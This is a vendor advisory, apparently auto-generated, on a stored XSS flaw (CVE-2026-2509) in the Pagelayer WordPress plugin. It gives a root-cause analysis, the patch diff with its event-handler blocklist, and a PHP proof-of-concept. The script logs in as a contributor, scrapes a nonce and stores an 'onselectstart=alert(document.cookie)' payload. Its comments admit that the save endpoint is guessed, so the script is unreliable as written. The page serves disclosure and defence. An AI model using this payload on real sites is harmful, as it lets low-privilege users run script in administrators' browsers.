Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-2509: Page Builder: Pagelayer <= 2.0.8 – Authenticated (Contributor+) Stored Cross-Site Scripting via Button Widget Custom Attributes (pagelayer)

CVE ID CVE-2026-2509
Plugin pagelayer
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.0.8
Patched Version 2.0.9
Disclosed April 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2509:

This vulnerability concerns a stored cross-site scripting (XSS) flaw in the Page Builder: Pagelayer plugin for WordPress, up to version 2.0.8. The issue resides in the Button widget’s Custom Attributes field. The plugin attempts to filter XSS via the ‘pagelayer_xss_content’ function, but its blocklist of event handlers is incomplete. An attacker with Contributor-level access or higher can inject arbitrary HTML and JavaScript into pages. When other users, including administrators, view these pages, the injected script executes. The CVSS score is 6.4 (Medium).

Root Cause: The root cause is in the ‘pagelayer/main/functions.php’ file, specifically within the ‘pagelayer_xss_content’ function around line 1290. The function maintains a blocklist ‘$not_allowed’ that lists common event handler attributes (e.g., ‘onclick’, ‘onmouseover’). The diff shows the addition of ‘selectstart’ and ‘selectionchange’ to this list, proving that the original list was incomplete. The ‘pagelayer_sanitize_text_field’ function (called elsewhere) does not sanitize attributes in a way that prevents event handler injection. The Custom Attributes input for the Button widget is not properly sanitized and is only passed through this flawed XSS filter. An attacker can supply an event handler like ‘onselectstart’ (which was not blocked before the patch) to execute JavaScript.

Exploitation: An attacker with at least Contributor-level access edits a page or post using the Pagelayer builder. They add a Button widget and navigate to the widget’s Custom Attributes field. The attacker supplies a malicious attribute, for example: ‘ onselectstart=alert(1) ‘. The quotation marks and attribute name bypass the incomplete blocklist. The plugin saves this payload without proper validation. The stored payload becomes part of the rendered page. When any user views the page (e.g., an admin), the browser triggers the ‘onselectstart’ event (or another unblocked event), executing the attacker’s script.

Patch Analysis: The patch adds ‘selectstart’ and ‘selectionchange’ to the ‘$not_allowed’ array in ‘pagelayer/main/functions.php’. This expands the blocklist to include these two previously missed event handlers. The update increments the version from 2.0.8 to 2.0.9. This fix is a band-aid; it adds specific missing event handlers but does not fundamentally change the sanitization logic to block all event handlers generically. Atomic Edge research notes that this approach is fragile. A future evolution of HTML or a more obscure event handler could bypass the blocklist again. A more robust solution would be to strip ‘on*’ attributes entirely or use a whitelist approach.

Impact: Successful exploitation allows an authenticated attacker with Contributor-level access to inject arbitrary JavaScript into WordPress pages. This script executes in the context of any user viewing the compromised page. An attacker can steal session cookies, perform administrative actions on behalf of an admin, redirect users to malicious sites, or deface the website. The attack can lead to full site compromise if an administrator views the infected page.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/pagelayer/init.php
+++ b/pagelayer/init.php
@@ -5,7 +5,7 @@

 define('PAGELAYER_BASE', plugin_basename(PAGELAYER_FILE));
 define('PAGELAYER_PREMIUM_BASE', 'pagelayer-pro/pagelayer-pro.php');
-define('PAGELAYER_VERSION', '2.0.8');
+define('PAGELAYER_VERSION', '2.0.9');
 define('PAGELAYER_DIR', dirname(PAGELAYER_FILE));
 define('PAGELAYER_SLUG', 'pagelayer');
 define('PAGELAYER_URL', plugins_url('', PAGELAYER_FILE));
--- a/pagelayer/main/ajax.php
+++ b/pagelayer/main/ajax.php
@@ -630,7 +630,7 @@
 	$data = '';
 	if(isset($_REQUEST['pagelayer_section_id'])){

-		$get_url = PAGELAYER_API.'/library.php?give_id='.$_REQUEST['pagelayer_section_id'].(!empty($pagelayer->license['license']) ? '&license='.$pagelayer->license['license'] : '').'&url='.rawurlencode(site_url());
+		$get_url = PAGELAYER_API.'/library.php?give_id='.sanitize_text_field($_REQUEST['pagelayer_section_id']).(!empty($pagelayer->license['license']) ? '&license='.$pagelayer->license['license'] : '').'&url='.rawurlencode(site_url());

 		// For SitePad users
 		if(function_exists('get_softaculous_file')){
@@ -717,7 +717,7 @@
 	$data = '';
 	if(isset($_REQUEST['pagelayer_section_id'])){

-		$get_url = PAGELAYER_API.'/library.php?give_id='.$_REQUEST['pagelayer_section_id'].(!empty($pagelayer->license['license']) ? '&license='.$pagelayer->license['license'] : '').'&url='.rawurlencode(site_url());
+		$get_url = PAGELAYER_API.'/library.php?give_id='.sanitize_text_field($_REQUEST['pagelayer_section_id']).(!empty($pagelayer->license['license']) ? '&license='.$pagelayer->license['license'] : '').'&url='.rawurlencode(site_url());

 		// For SitePad users
 		if(function_exists('get_softaculous_file')){
@@ -1171,8 +1171,15 @@

 	// Some AJAX security
 	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');
-	// TODO : Allowed
-	echo pagelayer_widget_posts($_POST);
+
+	// This ajax call is only used during post/page editing
+	if(!current_user_can('edit_posts')){
+		echo __pl('no_permission');
+		wp_die();
+	}
+
+	$sanitized_post = pagelayer_sanitize_posts_data($_POST);
+	echo pagelayer_widget_posts($sanitized_post);

 	wp_die();
 }
@@ -1184,10 +1191,17 @@
 	// Some AJAX security
 	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');

+	// This ajax call is only used during post/page editing
+	if(!current_user_can('edit_posts')){
+		echo __pl('no_permission');
+		wp_die();
+	}
+
 	// Load shortcodes
 	pagelayer_load_shortcodes();
-	// TODO : Allowed
-	echo pagelayer_posts($_POST);
+
+	$sanitized_post = pagelayer_sanitize_posts_data($_POST, false);
+	echo pagelayer_posts($sanitized_post);
 	wp_die();
 }

@@ -1221,7 +1235,6 @@

 	$sc = '[pl_archive_posts '.$string.'][/pl_archive_posts]';

-	// TODO : Allowed
 	echo pagelayer_the_content($sc);
 	wp_die();
 }
@@ -1327,7 +1340,7 @@
 				continue;
 			}

-			$body .= $k."t : t $".$k."n";
+			$body .= sanitize_text_field($k)."t : t $".$k."n";

 		}

@@ -1431,7 +1444,7 @@

 		// If After logout URL, then save
 		if(!empty($_REQUEST['logout_url'])){
-			update_user_option($user->ID, 'pagelayer_logout_url', $_REQUEST['logout_url']);
+			update_user_option($user->ID, 'pagelayer_logout_url', sanitize_url($_REQUEST['logout_url']));
 		}

 		$data['redirect'] = (empty($_REQUEST['login_url']) ? '' : sanitize_url($_REQUEST['login_url']));
@@ -1449,12 +1462,17 @@
 	// Some AJAX security
 	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');

+	if(!current_user_can('edit_posts')){
+		echo __pl('no_permission');
+		wp_die();
+	}
+
 	$args = array(
-		'post_type' => $_POST['type'],
-		'orderby' => $_POST['post_order'],
-		'order' => $_POST['order'],
-		'hierarchical' => (empty($_POST['hier']) || $_POST['hier'] == null ? '' : $_POST['hier']),
-		'number' => (empty($_POST['depth']) || $_POST['depth'] == null ? '' : $_POST['depth']),
+		'post_type' => sanitize_text_field($_POST['type']),
+		'orderby' => sanitize_text_field($_POST['post_order']),
+		'order' => sanitize_text_field($_POST['order']),
+		'hierarchical' => (empty($_POST['hier']) || $_POST['hier'] == null ? '' : sanitize_text_field($_POST['hier'])),
+		'number' => (empty($_POST['depth']) || $_POST['depth'] == null ? '' : sanitize_text_field($_POST['depth'])),
 		'posts_per_page' => -1,
 	);

@@ -1778,6 +1796,11 @@
 	// Some AJAX security
 	check_ajax_referer('pagelayer_ajax', 'pagelayer_nonce');

+	if(!current_user_can('edit_posts')){
+		echo __pl('no_permission');
+		wp_die();
+	}
+
 	$args = array(
 		'title_li' => 0,
 		'orderby' => $_POST['post_order'],
--- a/pagelayer/main/class.php
+++ b/pagelayer/main/class.php
@@ -42,6 +42,7 @@
 	var $templates;
 	var $template_header;
 	var $template_post;
+	var $template_editor;
 	var $template_footer;
 	var $template_popup_ids;
 	var $load_live_errors;
--- a/pagelayer/main/functions.php
+++ b/pagelayer/main/functions.php
@@ -1290,7 +1290,7 @@
 	}

 	// These events not start with on
-	$not_allowed = array('click', 'dblclick', 'mousedown', 'mousemove', 'mouseout', 'mouseover', 'mouseup', 'load', 'unload', 'change', 'submit', 'reset', 'select', 'blur', 'focus', 'keydown', 'keypress', 'keyup', 'afterprint', 'beforeprint', 'beforeunload', 'error', 'hashchange', 'message', 'offline', 'online', 'pagehide', 'pageshow', 'popstate', 'resize', 'storage', 'contextmenu', 'input', 'invalid', 'search', 'mousewheel', 'wheel', 'drag', 'dragend', 'dragenter', 'dragleave', 'dragover', 'dragstart', 'drop', 'scroll', 'copy', 'cut', 'paste', 'abort', 'canplay', 'canplaythrough', 'cuechange', 'durationchange', 'emptied', 'ended', 'loadeddata', 'loadedmetadata', 'loadstart', 'pause', 'play', 'playing', 'progress', 'ratechange', 'seeked', 'seeking', 'stalled', 'suspend', 'timeupdate', 'volumechange', 'waiting', 'toggle', 'animationstart', 'animationcancel', 'animationend', 'animationiteration', 'auxclick', 'beforeinput', 'beforematch', 'beforexrselect', 'compositionend', 'compositionstart', 'compositionupdate', 'contentvisibilityautostatechange', 'focusout', 'focusin', 'fullscreenchange', 'fullscreenerror', 'gotpointercapture', 'lostpointercapture', 'mouseenter', 'mouseleave', 'pointercancel', 'pointerdown', 'pointerenter', 'pointerleave', 'pointermove', 'pointerout', 'pointerover', 'pointerrawupdate', 'pointerup', 'scrollend', 'securitypolicyviolation', 'touchcancel', 'touchend', 'touchmove', 'touchstart', 'transitioncancel', 'transitionend', 'transitionrun', 'transitionstart', 'MozMousePixelScroll', 'DOMActivate', 'afterscriptexecute', 'beforescriptexecute', 'DOMMouseScroll', 'willreveal', 'gesturechange', 'gestureend', 'gesturestart', 'mouseforcechanged', 'mouseforcedown', 'mouseforceup', 'mouseforceup', 'beforetoggle');
+	$not_allowed = array('click', 'dblclick', 'mousedown', 'mousemove', 'mouseout', 'mouseover', 'mouseup', 'load', 'unload', 'change', 'submit', 'reset', 'select', 'blur', 'focus', 'keydown', 'keypress', 'keyup', 'afterprint', 'beforeprint', 'beforeunload', 'error', 'hashchange', 'message', 'offline', 'online', 'pagehide', 'pageshow', 'popstate', 'resize', 'storage', 'contextmenu', 'input', 'invalid', 'search', 'mousewheel', 'wheel', 'drag', 'dragend', 'dragenter', 'dragleave', 'dragover', 'dragstart', 'drop', 'scroll', 'copy', 'cut', 'paste', 'abort', 'canplay', 'canplaythrough', 'cuechange', 'durationchange', 'emptied', 'ended', 'loadeddata', 'loadedmetadata', 'loadstart', 'pause', 'play', 'playing', 'progress', 'ratechange', 'seeked', 'seeking', 'stalled', 'suspend', 'timeupdate', 'volumechange', 'waiting', 'toggle', 'animationstart', 'animationcancel', 'animationend', 'animationiteration', 'auxclick', 'beforeinput', 'beforematch', 'beforexrselect', 'compositionend', 'compositionstart', 'compositionupdate', 'contentvisibilityautostatechange', 'focusout', 'focusin', 'fullscreenchange', 'fullscreenerror', 'gotpointercapture', 'lostpointercapture', 'mouseenter', 'mouseleave', 'pointercancel', 'pointerdown', 'pointerenter', 'pointerleave', 'pointermove', 'pointerout', 'pointerover', 'pointerrawupdate', 'pointerup', 'scrollend', 'securitypolicyviolation', 'touchcancel', 'touchend', 'touchmove', 'touchstart', 'transitioncancel', 'transitionend', 'transitionrun', 'transitionstart', 'MozMousePixelScroll', 'DOMActivate', 'afterscriptexecute', 'beforescriptexecute', 'DOMMouseScroll', 'willreveal', 'gesturechange', 'gestureend', 'gesturestart', 'mouseforcechanged', 'mouseforcedown', 'mouseforceup', 'mouseforceup', 'beforetoggle', 'selectstart', 'selectionchange');

 	$not_allowed = implode('|', $not_allowed);

@@ -3454,6 +3454,84 @@
 	return $str;
 }

+// Sanitize posts data for WP_Query
+function pagelayer_sanitize_posts_data($data, $only_allowed = true) {
+
+	$allowed_keys = [
+		'post_type', 'posts_per_page', 'order', 'orderby', 'paged',
+		'filter_by', 'term', 'exc_term', 'cat', 'category_name',
+		'tag', 'author', 'author_name', 'post__in', 'post__not_in',
+		'include', 'exclude', 'search', 's', 'exact', 'sentence',
+		'post_status', 'post_parent', 'offset',
+		'posts_per_archive_page', 'page', 'ignore_sticky_posts'
+	];
+
+	$sanitized = [];
+
+	foreach($data as $key => $value){
+		if($only_allowed && !in_array($key, $allowed_keys)) {
+			continue;
+		}
+
+		$sanitized[$key] = pagelayer_sanitize_text_field($value);
+	}
+
+	// Security: Restrict post_status to prevent information disclosure
+	// Only users who can read private posts or edit others' posts should be able to query non-public statuses
+	if(isset($sanitized['post_status'])){
+		$requested_status = $sanitized['post_status'];
+
+		// If requesting something other than publish, verify permissions
+		if ($requested_status !== 'publish') {
+			// Check if the user has permission to read private posts or edit others' posts
+			// This prevents contributors from seeing titles of private posts they don't own.
+			if (!current_user_can('read_private_posts') && !current_user_can('edit_others_posts')) {
+				$sanitized['post_status'] = 'publish';
+			}
+		}
+	}else{
+		// Default to publish for safety if not specified
+		$sanitized['post_status'] = 'publish';
+	}
+
+	if(isset($sanitized['posts_per_page'])){
+		$sanitized['posts_per_page'] = (int) $sanitized['posts_per_page'];
+		if ($sanitized['posts_per_page'] > 100) {
+			$sanitized['posts_per_page'] = 100;
+		}
+	}
+
+	if(isset($sanitized['paged'])){
+		$sanitized['paged'] = (int) $sanitized['paged'];
+	}
+
+	if(isset($sanitized['offset'])){
+		$sanitized['offset'] = (int) $sanitized['offset'];
+	}
+
+	if(isset($sanitized['post__in']) && is_string($sanitized['post__in'])){
+		$sanitized['post__in'] = array_map('intval', explode(',', $sanitized['post__in']));
+	}
+
+	if(isset($sanitized['post__not_in']) && is_string($sanitized['post__not_in'])){
+		$sanitized['post__not_in'] = array_map('intval', explode(',', $sanitized['post__not_in']));
+	}
+
+	if(isset($sanitized['post_parent'])){
+		$sanitized['post_parent'] = (int) $sanitized['post_parent'];
+	}
+
+	if(isset($sanitized['cat'])){
+		$sanitized['cat'] = (int) $sanitized['cat'];
+	}
+
+	if(isset($sanitized['author'])){
+		$sanitized['author'] = (int) $sanitized['author'];
+	}
+
+	return $sanitized;
+}
+
 // Update nav menu item
 function pagelayer_save_nav_menu_items($items){

--- a/pagelayer/main/shortcode_functions.php
+++ b/pagelayer/main/shortcode_functions.php
@@ -1664,6 +1664,11 @@

 }

+// Anchor Handler
+function pagelayer_sc_anchor(&$el){
+	$el['atts']['title'] = empty($el['atts']['title']) ? '' : esc_attr(sanitize_html_class( $el['atts']['title']));
+}
+
 function pagelayer_sc_google_maps(&$el){

 	$el['atts']['show_v2'] = true;
--- a/pagelayer/pagelayer.php
+++ b/pagelayer/pagelayer.php
@@ -3,7 +3,7 @@
 Plugin Name: Pagelayer
 Plugin URI: http://wordpress.org/plugins/pagelayer/
 Description: Pagelayer is a WordPress page builder plugin. Its very easy to use and very light on the browser.
-Version: 2.0.8
+Version: 2.0.9
 Author: Pagelayer Team
 Author URI: https://pagelayer.com/
 License: LGPL v2.1

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2509 - Page Builder: Pagelayer <= 2.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Widget Custom Attributes

$target_url = 'http://example.com'; // Change this to the target WordPress URL
$contributor_username = 'contributor';
$contributor_password = 'contributor_password';

// Step 1: Authenticate as a Contributor
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $contributor_username,
    'pwd' => $contributor_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false) {
    die('Authentication failed.n');
}

echo "Authenticated as Contributor.n";

// Step 2: Get a valid nonce for the Pagelayer AJAX endpoint
// The nonce is typically embedded in the page source. We need to fetch a page to extract it.
$editor_url = $target_url . '/wp-admin/post-new.php?post_type=page&pagelayer-live-editor=1';
curl_setopt($ch, CURLOPT_URL, $editor_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce from the source (pagelayer_nonce)
preg_match('/var pagelayer_nonce = "([a-f0-9]+)";/', $response, $matches);
if (!isset($matches[1])) {
    die('Could not extract Pagelayer nonce.n');
}
$nonce = $matches[1];
echo "Extracted nonce: $noncen";

// Step 3: Send the XSS payload via AJAX (simulating the save action)
// The payload uses an unblocked event handler, e.g., onselectstart
$payload = ' onselectstart=alert(document.cookie) ';

// We need to determine the exact AJAX action or endpoint to save widget settings.
// For Pagelayer, saving content usually goes through admin-ajax.php with action 'pagelayer_save_content' or similar.
// This PoC assumes the action is 'pagelayer_save_content' with a 'content' parameter that includes the Button widget.
// In a real scenario, the attacker would use the page builder UI. Here we simulate the AJAX call.

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$save_data = array(
    'action' => 'pagelayer_save_content',
    'pagelayer_nonce' => $nonce,
    'content' => '[pl_button text="Click Me" custom_attributes="' . $payload . '"]' // Simplified example
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $save_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

echo "AJAX response: " . $response . "n";
echo "Payload submitted. When an admin views the page, the XSS will trigger.n";

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School